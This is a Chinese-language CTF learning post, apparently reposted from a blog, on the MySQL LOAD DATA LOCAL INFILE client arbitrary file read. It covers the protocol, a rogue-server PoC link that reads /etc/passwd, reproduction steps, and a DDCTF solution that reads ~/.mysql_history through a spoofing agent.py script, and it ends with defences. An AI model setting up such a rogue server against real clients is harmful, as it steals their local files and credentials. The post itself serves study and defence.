读取txt原理_Mysql客户端任意文件读取学习
前言
最近打了?DDCTF和?國賽,發現都考了一個知識點,也就是?MysqlLocalInfile客戶端文件讀取這個漏洞,下面來詳細的學習一個這個漏洞。
漏洞形成原因
此漏洞形成的主要原因在于?LOAD DATA INFILE這個語法上。在官方文檔中的介紹為:
該LOAD DATA語句以非常高的速度將文本文件中的行讀入表中。 LOAD DATA是補充 SELECT ... INTO OUTFILE。請參見[第13.2.10.1節“SELECT ... INTO語法”(https://dev.mysql.com/doc/refman/8.0/en/select-into.html)]。)要將表中的數據寫入文件,請使用 SELECT ... INTO OUTFILE。要將文件讀回表中,請使用 LOAD DATA。兩個語句的FIELDS和LINES子句的語法 相同。
以下為?LOAD DATA INFILE的兩種用法:
從本地服務器導入數據到規定的表里
首先我在本地的?/var/lib/mysqld/1.txt中添加內容?Youhave a girlfriend,執行命令?load data infile"/var/lib/mysql-files/1.txt"intotable users(name),成功添加數據.
從客戶端導入數據到服務器上規定的表中
客戶端:Ubuntu18.04 IP
服務端:Centos7
在客戶端執行命令:?mysql-h148.70.151.111-u root-p-D test-e"load data local infile '/etc/passwd' into table user fields terminated by ','";,在服務端查看是否添加成果數據
數據成功回顯。而造成漏洞的也是第二點操作,通過客戶端與服務端的連接來讀取任意文件。
從數據包傳遞層面分析客戶端與服務端的文件傳輸
分析環境:Ubuntu18.04
mysql 5.7
本地Mysql輸入命令:?mysql-u root-p-h127.0.0.1
同時tcpdump抓取數據包:?tcpdump-i lo-l port3306-w los.pcap
下面是抓到的數據包:
我們來分析一下客戶端與服務端的?load datalocal過程
1.服務器向客戶端發送?Greeting包,包含服務器banner信息(協議線程ID,版本,mysql認證類型等)
2.客戶端向服務端發送?LoginRequests數據包,包含客戶端的banner信息,以及?LoadDataLocal選項和用戶名以及md5加密過的密碼
3.Mysql客戶端發送請求,探測目標平臺的指紋信息,以及進行初始化查詢(大多數Mysql客戶端在握手后都至少會發送一次請求)這個請求是一個很關鍵的步驟,在下面我們還會繼續解釋的。
4.客戶端發起Request Query
5.服務端響應對應客戶端請求文件名的數據包
6.客戶端將所請求文件內容發給服務端
漏洞利用
產生的漏洞為:在客戶端發送至少一次查詢后,服務端返回Response TABULAR數據包,告訴客戶端我們想要讀取文件的文件名(實現任意文件讀取),由于客戶端對于服務端的完全信任,我們就讀取到了我們想要的文件。
原理:在Mysql協議中,客戶端是不會儲存自身請求的,而是通過服務端的響應來執行操作。
利用:我們可以自己去構造一個惡意的Mysql的服務器來實現讀取客戶端中我們想要的文件,構造服務器最重要的的部分是:在任意時候都能回復一個file-transfer請求,而不是只在客戶端發送LOAD
DATA LOCAL數據包時才去響應回復file-transfer請求。所以,只需要客戶端在連接服務端后發送一個查詢請求,服務端立刻回復一個?file-transfer,即可讀取到客戶端的本地文件,而常見的 MySQL 客戶端都會在建立連接后發送一個請求用來判斷服務端的指紋信息(如?select@@version_commentlimit1),這樣就達到了我們想要的要求。
所以惡意服務器與客戶端交互的流程如下:
構造File-Transfer數據包
在官方文檔中是有構造示范的
我們可以通過官方文檔來具體了解一下這個數據包的結構到底是怎么樣的
通過這張圖,?0c代表著數據包的長度,?000001代表著數據包的序列號,從?fb開始,后面的內容為返回到客戶端的文件名。
Poc
https://github.com/allyshka/Rogue-MySql-Server
file=('
/etc/passwd',
)
通過更改file括號中的值可以讀取我們想要讀到的文件。
漏洞復現
實驗環境:
攻擊機:Centos7 Mysql5.7
靶機:Ubuntu18.04 Mysql5.7
1.首先先將本機的mysql服務關閉:?service mysqld stop
2.在服務器上運行惡意服務器腳本:?python rogue_mysql_ server.py
3.靶機遠程連接攻擊機數據庫:?mysql-hYour_vps-u root-p-P3306;
4.成功得到靶機中?/etc/passwd的敏感數據
CTF中的應用
這次的DDCTF以及國賽中都出現了Mysql客戶端任意文件讀取的這個漏洞.
下面對利用這個漏洞解答一下DDCTF
首先進入頁面發現
掃描器正好符合我們的漏洞原理,在掃描的過程中用弱口令進行?3306端口的爆破登陸,所以我們可以利用構造惡意服務器來讀取掃描器中的文件。
先在服務器上布置?agent.py進行掃描,發現回顯,未掃描出弱口令,如果不布置?agent.py,回顯,不存在?mysql服務 ,修改一下?agent.py源碼,讓其以為我們一直開著?mysql。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm
import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("UA :", self.headers.getheaders('user-agent'))
print("self.headers :", self.headers)
print(")
self.send_response(404)
self.send_header("Set-Cookie", "foo=flag")
self.end_headers()
result = self._func()
return_str = "mysqld"
self.wfile.write(return_str)
# self.wfile.write(json.dumps(result))
def do_POST(self):
request_path = self.path
# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("
self.send_response(404)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
return_str = "mysqld"
self.wfile.write(return_str)
# self.wfile.write(json.dumps(result))
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()
main()
在服務器上運行這個腳本,再開啟我們的?mysql偽造惡意服務器,讀取一下?~/.mysql_history
得到?Flag回顯
防御手段
避免使用?local讀取本地文件
使用?--ssl-mode=VERIFY_IDENTITY來建立可信的連接。
總結
以上是生活随笔為你收集整理的读取txt原理_Mysql客户端任意文件读取学习的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python链表实现栈_python实现
- 下一篇: mysql引擎inndbmmyisam_